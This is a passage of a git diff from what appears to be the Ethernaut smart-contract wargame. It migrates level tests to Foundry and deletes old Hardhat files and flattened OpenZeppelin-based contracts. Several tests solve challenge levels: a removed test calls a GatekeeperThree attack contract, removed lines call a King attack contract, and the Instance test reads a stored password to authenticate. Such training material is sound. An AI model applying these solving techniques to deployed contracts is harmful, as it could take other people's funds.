solve the level', async function() { - const instance = await utils.createLevelInstance(ethernaut, level.address, player, GatekeeperThree) - - const attacker = await GatekeeperThreeAttack.new(instance.address, { - from: player, value:120000000000000000 - }) - - await attacker.attack() - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ) - - assert.isTrue(completed) - }); - -}); diff --git a/contracts/test/levels/Instance.t.sol b/contracts/test/levels/Instance.t.sol index 4be551096..430eb61e2 100644 --- a/contracts/test/levels/Instance.t.sol +++ b/contracts/test/levels/Instance.t.sol @@ -4,15 +4,14 @@ pragma solidity ^0.8.0; import "forge-std/Test.sol"; import {Utils} from "test/utils/Utils.sol"; -import {King} from "src/levels/King.sol"; -import {KingFactory} from "src/levels/KingFactory.sol"; -import {KingAttack} from "src/attacks/KingAttack.sol"; +import {Instance} from "src/levels/Instance.sol"; +import {InstanceFactory} from "src/levels/InstanceFactory.sol"; import {Level} from "src/levels/base/Level.sol"; import {Ethernaut} from "src/Ethernaut.sol"; -contract TestKing is Test, Utils { +contract TestInstance is Test, Utils { Ethernaut ethernaut; - King instance; + Instance instance; address payable owner; address payable player; @@ -32,12 +31,12 @@ contract TestKing is Test, Utils { vm.startPrank(owner); ethernaut = getEthernautWithStatsProxy(owner); - KingFactory factory = new KingFactory(); + InstanceFactory factory = new InstanceFactory(); ethernaut.registerLevel(Level(address(factory))); vm.stopPrank(); vm.startPrank(player); - instance = King(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + instance = Instance(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); vm.stopPrank(); } @@ -55,8 +54,9 @@ contract TestKing is Test, Utils { function testSolve() public { vm.startPrank(player); - KingAttack attacker = new KingAttack(); - attacker.doYourThing{value: 2.01 ether}(address(instance)); + string memory pw = instance.password(); + instance.authenticate(pw); + assertTrue(instance.getCleared()); assertTrue(submitLevelInstance(ethernaut, address(instance))); } diff --git a/contracts/test/levels/Instance.test.js b/contracts/test/levels/Instance.test.js deleted file mode 100644 index c87f7bd5f..000000000 --- a/contracts/test/levels/Instance.test.js +++ /dev/null @@ -1,50 +0,0 @@ -const InstanceFactory = artifacts.require('./levels/InstanceFactory.sol'); -const Instance = artifacts.require('./attacks/Instance.sol'); -const Ethernaut = artifacts.require('./Ethernaut.sol'); - -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Instance', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await InstanceFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Instance, - { from: player } - ); - - const password = await instance.password.call(); - await instance.authenticate(password); - const clear = await instance.getCleared(); - assert.equal(clear, true); - - // Factory check - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); -}); diff --git a/contracts_hardhat/hardhat.config.js b/contracts_hardhat/hardhat.config.js deleted file mode 100644 index 0399915cc..000000000 --- a/contracts_hardhat/hardhat.config.js +++ /dev/null @@ -1,48 +0,0 @@ -require('@nomiclabs/hardhat-truffle5'); -require('@openzeppelin/hardhat-upgrades'); -require("hardhat-gas-reporter"); - -/** - * @type import('hardhat/config').HardhatUserConfig - */ -module.exports = { - solidity: { - compilers: [ - { - version: '0.5.3', - settings: { - optimizer: { - enabled: true, - runs: 1000, - }, - }, - }, - { - version: '0.6.12', - settings: { - optimizer: { - enabled: true, - runs: 1000, - }, - }, - }, - { - version: '0.8.12', - settings: { - optimizer: { - enabled: true, - runs: 1000, - }, - }, - }, - ], - }, - paths: { - artifacts: './build', - }, - networks: { - hardhat: { - chainId: 1337, - }, - }, -}; \ No newline at end of file diff --git a/contracts_hardhat/out/Ethernaut_flat.sol b/contracts_hardhat/out/Ethernaut_flat.sol deleted file mode 100644 index bb8d61196..000000000 --- a/contracts_hardhat/out/Ethernaut_flat.sol +++ /dev/null @@ -1,235 +0,0 @@ -// SPDX-License-Identifier: MIT - -pragma solidity ^0.8.0; - - -// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) - - - - -// OpenZeppelin Contracts v4.4.1 (utils/Context.sol) - - - -/** - * @dev Provides information about the current execution context, including the - * sender of the transaction and its data. While these are generally available - * via msg.sender and msg.data, they should not be accessed in such a direct - * manner, since when dealing with meta-transactions the account sending and - * paying for execution may not be the actual sender (as far as an application - * is concerned). - * - * This contract is only required for intermediate, library-like contracts. - */ -abstract contract Context { - function _msgSender() internal view virtual returns (address) { - return msg.sender; - } - - function _msgData() internal view virtual returns (bytes calldata) { - return msg.data; - } -} - - -/** - * @dev Contract module which provides a basic access control mechanism, where - * there is an account (an owner) that can be granted exclusive access to - * specific functions. - * - * By default, the owner account will be the one that deploys the contract. This - * can later be changed with {transferOwnership}. - * - * This module is used through inheritance. It will make available the modifier - * `onlyOwner`, which can be applied to your functions to restrict their use to - * the owner. - */ -abstract contract Ownable is Context { - address private _owner; - - event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); - - /** - * @dev Initializes the contract setting the deployer as the initial owner. - */ - constructor() { - _transferOwnership(_msgSender()); - } - - /** - * @dev Throws if called by any account other than the owner. - */ - modifier onlyOwner() { - _checkOwner(); - _; - } - - /** - * @dev Returns the address of the current owner. - */ - function owner() public view virtual returns (address) { - return _owner; - } - - /** - * @dev Throws if the sender is not the owner. - */ - function _checkOwner() internal view virtual { - require(owner() == _msgSender(), "Ownable: caller is not the owner"); - } - - /** - * @dev Leaves the contract without owner. It will not be possible to call - * `onlyOwner` functions anymore. Can only be called by the current owner. - * - * NOTE: Renouncing ownership will leave the contract without an owner, - * thereby removing any functionality that is only available to the owner. - */ - function renounceOwnership() public virtual onlyOwner { - _transferOwnership(address(0)); - } - - /** - * @dev Transfers ownership of the contract to a new account (`newOwner`). - * Can only be called by the current owner. - */ - function transferOwnership(address newOwner) public virtual onlyOwner { - require(newOwner != address(0), "Ownable: new owner is the zero address"); - _transferOwnership(newOwner); - } - - /** - * @dev Transfers ownership of the contract to a new account (`newOwner`). - * Internal function without access restriction. - */ - function _transferOwnership(address newOwner) internal virtual { - address oldOwner = _owner; - _owner = newOwner; - emit OwnershipTransferred(oldOwner, newOwner); - } -} - - -abstract contract Level is Ownable { - function createInstance(address _player) virtual public payable returns (address); - function validateInstance(address payable _instance, address _player) virtual public returns (bool); -} - -interface IStatistics { - function saveNewLevel(address level) external; - - function createNewInstance( - address instance, - address level, - address player - ) external; - - function submitFailure( - address instance, - address level, - address player - ) external; - - function submitSuccess( - address instance, - address level, - address player - ) external; -} - -contract Ethernaut is Ownable { - IStatistics public statistics; - - // ---------------------------------- - // Owner interaction - // ---------------------------------- - - mapping(address => bool) public registeredLevels; - - // Only registered levels will be allowed to generate and validate level instances. - function registerLevel(Level _level) public onlyOwner { - registeredLevels[address(_level)] = true; - statistics.saveNewLevel(address(_level)); - } - - function setStatistics(address _statProxy) external onlyOwner { - statistics = IStatistics(_statProxy); - } - - // ---------------------------------- - // Get/submit level instances - // ---------------------------------- - - struct EmittedInstanceData { - address player; - Level level; - bool completed; - } - - mapping(address => EmittedInstanceData) public emittedInstances; - - event LevelInstanceCreatedLog( - address indexed player, - address indexed instance, - address indexed level - ); - event LevelCompletedLog( - address indexed player, - address indexed instance, - address indexed level - ); - - function createLevelInstance(Level _level) public payable { - // Ensure level is registered. - require(registeredLevels[address(_level)], "This level doesn't exists"); - - // Get level factory to create an instance. - address instance = _level.createInstance{value: msg.value}(msg.sender); - - // Store emitted instance relationship with player and level. - emittedInstances[instance] = EmittedInstanceData( - msg.sender, - _level, - false - ); - - statistics.createNewInstance(instance, address(_level), msg.sender); - - // Retrieve created instance via logs. - emit LevelInstanceCreatedLog(msg.sender, instance, address(_level)); - } - - function submitLevelInstance(address payable _instance) public { - // Get player and level. - EmittedInstanceData storage data = emittedInstances[_instance]; - require( - data.player == msg.sender, - "This instance doesn't belong to the current user" - ); // instance was emitted for this player - require(data.completed == false, "Level has been completed already"); // not already submitted - - // Have the level check the instance. - if (data.level.validateInstance(_instance, msg.sender)) { - // Register instance as completed. - data.completed = true; - - statistics.submitSuccess( - _instance, - address(data.level), - msg.sender - ); - // Notify success via logs. - emit LevelCompletedLog(msg.sender, _instance, address(data.level)); - } else { - statistics.submitFailure( - _instance, - address(data.level), - msg.sender - ); - } - } -} - - - diff --git a/contracts_hardhat/out/ProxyStats_flat.sol b/contracts_hardhat/out/ProxyStats_flat.sol deleted file mode 100644 index 08c262048..000000000 --- a/contracts_hardhat/out/ProxyStats_flat.sol +++ /dev/null @@ -1,793 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -// OpenZeppelin Contracts (last updated v4.7.0) (proxy/transparent/TransparentUpgradeableProxy.sol) - - - - -// OpenZeppelin Contracts (last updated v4.7.0) (proxy/ERC1967/ERC1967Proxy.sol) - - - - -// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol) - - - -/** - * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM - * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to - * be specified by overriding the virtual {_implementation} function. - * - * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a - * different contract through the {_delegate} function. - * - * The success and return data of the delegated call will be returned back to the caller of the proxy. - */ -abstract contract Proxy { - /** - * @dev Delegates the current call to `implementation`. - * - * This function does not return to its internal call site, it will return directly to the external caller. - */ - function _delegate(address implementation) internal virtual { - assembly { - // Copy msg.data. We take full control of memory in this inline assembly - // block because it will not return to Solidity code. We overwrite the - // Solidity scratch pad at memory position 0. - calldatacopy(0, 0, calldatasize()) - - // Call the implementation. - // out and outsize are 0 because we don't know the size yet. - let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) - - // Copy the returned data. - returndatacopy(0, 0, returndatasize()) - - switch result - // delegatecall returns 0 on error. - case 0 { - revert(0, returndatasize()) - } - default { - return(0, returndatasize()) - } - } - } - - /** - * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function - * and {_fallback} should delegate. - */ - function _implementation() internal view virtual returns (address); - - /** - * @dev Delegates the current call to the address returned by `_implementation()`. - * - * This function does not return to its internal call site, it will return directly to the external caller. - */ - function _fallback() internal virtual { - _beforeFallback(); - _delegate(_implementation()); - } - - /** - * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other - * function in the contract matches the call data. - */ - fallback() external payable virtual { - _fallback(); - } - - /** - * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data - * is empty. - */ - receive() external payable virtual { - _fallback(); - } - - /** - * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` - * call, or as part of the Solidity `fallback` or `receive` functions. - * - * If overridden should call `super._beforeFallback()`. - */ - function _beforeFallback() internal virtual {} -} - - -// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol) - - - - -// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) - - - -/** - * @dev This is the interface that {BeaconProxy} expects of its beacon. - */ -interface IBeacon { - /** - * @dev Must return an address that can be used as a delegate call target. - * - * {BeaconProxy} will check that this address is a contract. - */ - function implementation() external view returns (address); -} - - -// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) - - - -/** - * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified - * proxy whose upgrades are fully controlled by the current implementation. - */ -interface IERC1822Proxiable { - /** - * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation - * address. - * - * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks - * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this - * function revert if invoked through a proxy. - */ - function proxiableUUID() external view returns (bytes32); -} - - -// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol) - - - -/** - * @dev Collection of functions related to the address type - */ -library Address { - /** - * @dev Returns true if `account` is a contract. - * - * [IMPORTANT] - * ==== - * It is unsafe to assume that an address for which this function returns - * false is an externally-owned account (EOA) and not a contract. - * - * Among others, `isContract` will return false for the following - * types of addresses: - * - * - an externally-owned account - * - a contract in construction - * - an address where a contract will be created - * - an address where a contract lived, but was destroyed - * ==== - * - * [IMPORTANT] - * ==== - * You shouldn't rely on `isContract` to protect against flash loan attacks! - * - * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets - * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract - * constructor. - * ==== - */ - function isContract(address account) internal view returns (bool) { - // This method relies on extcodesize/address.code.length, which returns 0 - // for contracts in construction, since the code is only stored at the end - // of the constructor execution. - - return account.code.length > 0; - } - - /** - * @dev Replacement for Solidity's `transfer`: sends `amount` wei to - * `recipient`, forwarding all available gas and reverting on errors. - * - * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost - * of certain opcodes, possibly making contracts go over the 2300 gas limit - * imposed by `transfer`, making them unable to receive funds via - * `transfer`. {sendValue} removes this limitation. - * - * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. - * - * IMPORTANT: because control is transferred to `recipient`, care must be - * taken to not create reentrancy vulnerabilities. Consider using - * {ReentrancyGuard} or the - * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. - */ - function sendValue(address payable recipient, uint256 amount) internal { - require(address(this).balance >= amount, "Address: insufficient balance"); - - (bool success, ) = recipient.call{value: amount}(""); - require(success, "Address: unable to send value, recipient may have reverted"); - } - - /** - * @dev Performs a Solidity function call using a low level `call`. A - * plain `call` is an unsafe replacement for a function call: use this - * function instead. - * - * If `target` reverts with a revert reason, it is bubbled up by this - * function (like regular Solidity function calls). - * - * Returns the raw returned data. To convert to the expected return value, - * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. - * - * Requirements: - * - * - `target` must be a contract. - * - calling `target` with `data` must not revert. - * - * _Available since v3.1._ - */ - function functionCall(address target, bytes memory data) internal returns (bytes memory) { - return functionCall(target, data, "Address: low-level call failed"); - } - - /** - * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with - * `errorMessage` as a fallback revert reason when `target` reverts. - * - * _Available since v3.1._ - */ - function functionCall( - address target, - bytes memory data, - string memory errorMessage - ) internal returns (bytes memory) { - return functionCallWithValue(target, data, 0, errorMessage); - } - - /** - * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], - * but also transferring `value` wei to `target`. - * - * Requirements: - * - * - the calling contract must have an ETH balance of at least `value`. - * - the called Solidity function must be `payable`. - * - * _Available since v3.1._ - */ - function functionCallWithValue( - address target, - bytes memory data, - uint256 value - ) internal returns (bytes memory) { - return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); - } - - /** - * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but - * with `errorMessage` as a fallback revert reason when `target` reverts. - * - * _Available since v3.1._ - */ - function functionCallWithValue( - address target, - bytes memory data, - uint256 value, - string memory errorMessage - ) internal returns (bytes memory) { - require(address(this).balance >= value, "Address: insufficient balance for call"); - require(isContract(target), "Address: call to non-contract"); - - (bool success, bytes memory returndata) = target.call{value: value}(data); - return verifyCallResult(success, returndata, errorMessage); - } - - /** - * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], - * but performing a static call. - * - * _Available since v3.3._ - */ - function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { - return functionStaticCall(target, data, "Address: low-level static call failed"); - } - - /** - * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], - * but performing a static call. - * - * _Available since v3.3._ - */ - function functionStaticCall( - address target, - bytes memory data, - string memory errorMessage - ) internal view returns (bytes memory) { - require(isContract(target), "Address: static call to non-contract"); - - (bool success, bytes memory returndata) = target.staticcall(data); - return verifyCallResult(success, returndata, errorMessage); - } - - /** - * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], - * but performing a delegate call. - * - * _Available since v3.4._ - */ - function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { - return functionDelegateCall(target, data, "Address: low-level delegate call failed"); - } - - /** - * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], - * but performing a delegate call. - * - * _Available since v3.4._ - */ - function functionDelegateCall( - address target, - bytes memory data, - string memory errorMessage - ) internal returns (bytes memory) { - require(isContract(target), "Address: delegate call to non-contract"); - - (bool success, bytes memory returndata) = target.delegatecall(data); - return verifyCallResult(success, returndata, errorMessage); - } - - /** - * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the - * revert reason using the provided one. - * - * _Available since v4.3._ - */ - function verifyCallResult( - bool success, - bytes memory returndata, - string memory errorMessage - ) internal pure returns (bytes memory) { - if (success) { - return returndata; - } else { - // Look for revert reason and bubble it up if present - if (returndata.length > 0) { - // The easiest way to bubble the revert reason is using memory via assembly - /// @solidity memory-safe-assembly - assembly { - let returndata_size := mload(returndata) - revert(add(32, returndata), returndata_size) - } - } else { - revert(errorMessage); - } - } - } -} - - -// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol) - - - -/** - * @dev Library for reading and writing primitive types to specific storage slots. - * - * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. - * This library helps with reading and writing to such slots without the need for inline assembly. - * - * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. - * - * Example usage to set ERC1967 implementation slot: - * ``` - * contract ERC1967 { - * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; - * - * function _getImplementation() internal view returns (address) { - * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; - * } - * - * function _setImplementation(address newImplementation) internal { - * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); - * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; - * } - * } - * ``` - * - * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ - */ -library StorageSlot { - struct AddressSlot { - address value; - } - - struct BooleanSlot { - bool value; - } - - struct Bytes32Slot { - bytes32 value; - } - - struct Uint256Slot { - uint256 value; - } - - /** - * @dev Returns an `AddressSlot` with member `value` located at `slot`. - */ - function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { - /// @solidity memory-safe-assembly - assembly { - r.slot := slot - } - } - - /** - * @dev Returns an `BooleanSlot` with member `value` located at `slot`. - */ - function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { - /// @solidity memory-safe-assembly - assembly { - r.slot := slot - } - } - - /** - * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. - */ - function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { - /// @solidity memory-safe-assembly - assembly { - r.slot := slot - } - } - - /** - * @dev Returns an `Uint256Slot` with member `value` located at `slot`. - */ - function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { - /// @solidity memory-safe-assembly - assembly { - r.slot := slot - } - } -} - - -/** - * @dev This abstract contract provides getters and event emitting update functions for - * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. - * - * _Available since v4.1._ - * - * @custom:oz-upgrades-unsafe-allow delegatecall - */ -abstract contract ERC1967Upgrade { - // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 - bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; - - /** - * @dev Storage slot with the address of the current implementation. - * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is - * validated in the constructor. - */ - bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; - - /** - * @dev Emitted when the implementation is upgraded. - */ - event Upgraded(address indexed implementation); - - /** - * @dev Returns the current implementation address. - */ - function _getImplementation() internal view returns (address) { - return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; - } - - /** - * @dev Stores a new address in the EIP1967 implementation slot. - */ - function _setImplementation(address newImplementation) private { - require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); - StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; - } - - /** - * @dev Perform implementation upgrade - * - * Emits an {Upgraded} event. - */ - function _upgradeTo(address newImplementation) internal { - _setImplementation(newImplementation); - emit Upgraded(newImplementation); - } - - /** - * @dev Perform implementation upgrade with additional setup call. - * - * Emits an {Upgraded} event. - */ - function _upgradeToAndCall( - address newImplementation, - bytes memory data, - bool forceCall - ) internal { - _upgradeTo(newImplementation); - if (data.length > 0 || forceCall) { - Address.functionDelegateCall(newImplementation, data); - } - } - - /** - * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. - * - * Emits an {Upgraded} event. - */ - function _upgradeToAndCallUUPS( - address newImplementation, - bytes memory data, - bool forceCall - ) internal { - // Upgrades from old implementations will perform a rollback test. This test requires the new - // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing - // this special case will break upgrade paths from old UUPS implementation to new ones. - if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) { - _setImplementation(newImplementation); - } else { - try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) { - require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID"); - } catch { - revert("ERC1967Upgrade: new implementation is not UUPS"); - } - _upgradeToAndCall(newImplementation, data, forceCall); - } - } - - /** - * @dev Storage slot with the admin of the contract. - * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is - * validated in the constructor. - */ - bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; - - /** - * @dev Emitted when the admin account has changed. - */ - event AdminChanged(address previousAdmin, address newAdmin); - - /** - * @dev Returns the current admin. - */ - function _getAdmin() internal view returns (address) { - return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; - } - - /** - * @dev Stores a new address in the EIP1967 admin slot. - */ - function _setAdmin(address newAdmin) private { - require(newAdmin != address(0), "ERC1967: new admin is the zero address"); - StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; - } - - /** - * @dev Changes the admin of the proxy. - * - * Emits an {AdminChanged} event. - */ - function _changeAdmin(address newAdmin) internal { - emit AdminChanged(_getAdmin(), newAdmin); - _setAdmin(newAdmin); - } - - /** - * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. - * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. - */ - bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; - - /** - * @dev Emitted when the beacon is upgraded. - */ - event BeaconUpgraded(address indexed beacon); - - /** - * @dev Returns the current beacon. - */ - function _getBeacon() internal view returns (address) { - return StorageSlot.getAddressSlot(_BEACON_SLOT).value; - } - - /** - * @dev Stores a new beacon in the EIP1967 beacon slot. - */ - function _setBeacon(address newBeacon) private { - require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); - require( - Address.isContract(IBeacon(newBeacon).implementation()), - "ERC1967: beacon implementation is not a contract" - ); - StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; - } - - /** - * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does - * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). - * - * Emits a {BeaconUpgraded} event. - */ - function _upgradeBeaconToAndCall( - address newBeacon, - bytes memory data, - bool forceCall - ) internal { - _setBeacon(newBeacon); - emit BeaconUpgraded(newBeacon); - if (data.length > 0 || forceCall) { - Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); - } - } -} - - -/** - * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an - * implementation address that can be changed. This address is stored in storage in the location specified by - * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the - * implementation behind the proxy. - */ -contract ERC1967Proxy is Proxy, ERC1967Upgrade { - /** - * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. - * - * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded - * function call, and allows initializing the storage of the proxy like a Solidity constructor. - */ - constructor(address _logic, bytes memory _data) payable { - _upgradeToAndCall(_logic, _data, false); - } - - /** - * @dev Returns the current implementation address. - */ - function _implementation() internal view virtual override returns (address impl) { - return ERC1967Upgrade._getImplementation(); - } -} - - -/** - * @dev This contract implements a proxy that is upgradeable by an admin. - * - * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector - * clashing], which can potentially be used in an attack, this contract uses the - * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two - * things that go hand in hand: - * - * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if - * that call matches one of the admin functions exposed by the proxy itself. - * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the - * implementation. If the admin tries to call a function on the implementation it will fail with an error that says - * "admin cannot fallback to proxy target". - * - * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing - * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due - * to sudden errors when trying to call a function from the proxy implementation. - * - * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, - * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. - */ -contract TransparentUpgradeableProxy is ERC1967Proxy { - /** - * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and - * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}. - */ - constructor( - address _logic, - address admin_, - bytes memory _data - ) payable ERC1967Proxy(_logic, _data) { - _changeAdmin(admin_); - } - - /** - * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. - */ - modifier ifAdmin() { - if (msg.sender == _getAdmin()) { - _; - } else { - _fallback(); - } - } - - /** - * @dev Returns the current admin. - * - * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. - * - * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the - * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. - * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` - */ - function admin() external ifAdmin returns (address admin_) { - admin_ = _getAdmin(); - } - - /** - * @dev Returns the current implementation. - * - * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. - * - * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the - * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. - * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` - */ - function implementation() external ifAdmin returns (address implementation_) { - implementation_ = _implementation(); - } - - /** - * @dev Changes the admin of the proxy. - * - * Emits an {AdminChanged} event. - * - * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. - */ - function changeAdmin(address newAdmin) external virtual ifAdmin { - _changeAdmin(newAdmin); - } - - /** - * @dev Upgrade the implementation of the proxy. - * - * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. - */ - function upgradeTo(address newImplementation) external ifAdmin { - _upgradeToAndCall(newImplementation, bytes(""), false); - } - - /** - * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified - * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the - * proxied contract. - * - * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. - */ - function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { - _upgradeToAndCall(newImplementation, data, true); - } - - /** - * @dev Returns the current admin. - */ - function _admin() internal view virtual returns (address) { - return _getAdmin(); - } - - /** - * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. - */ - function _beforeFallback() internal virtual override { - require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); - super._beforeFallback(); - } -} - - -contract ProxyStats is TransparentUpgradeableProxy { - constructor( - address _impl, - address _admin, - address _ethernautAddress - ) - TransparentUpgradeableProxy( - _impl, - _admin, - abi.encodeWithSignature("initialize(address)", _ethernautAddress) - ) - {} -} - - - diff --git a/contracts_hardhat/out/Statistics_flat.sol b/contracts_hardhat/out/Statistics_flat.sol deleted file mode 100644 index 562d1970d..000000000 --- a/contracts_hardhat/out/Statistics_flat.sol +++ /dev/null @@ -1,495 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -// OpenZeppelin Contracts (last updated v4.8.0) (proxy/utils/Initializable.sol) - - -/** - * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed - * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an - * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer - * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. - * - * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be - * reused. This mechanism prevents re-execution of each "step" but allows the creation of new initialization steps in - * case an upgrade adds a module that needs to be initialized. - * - * For example: - * - * 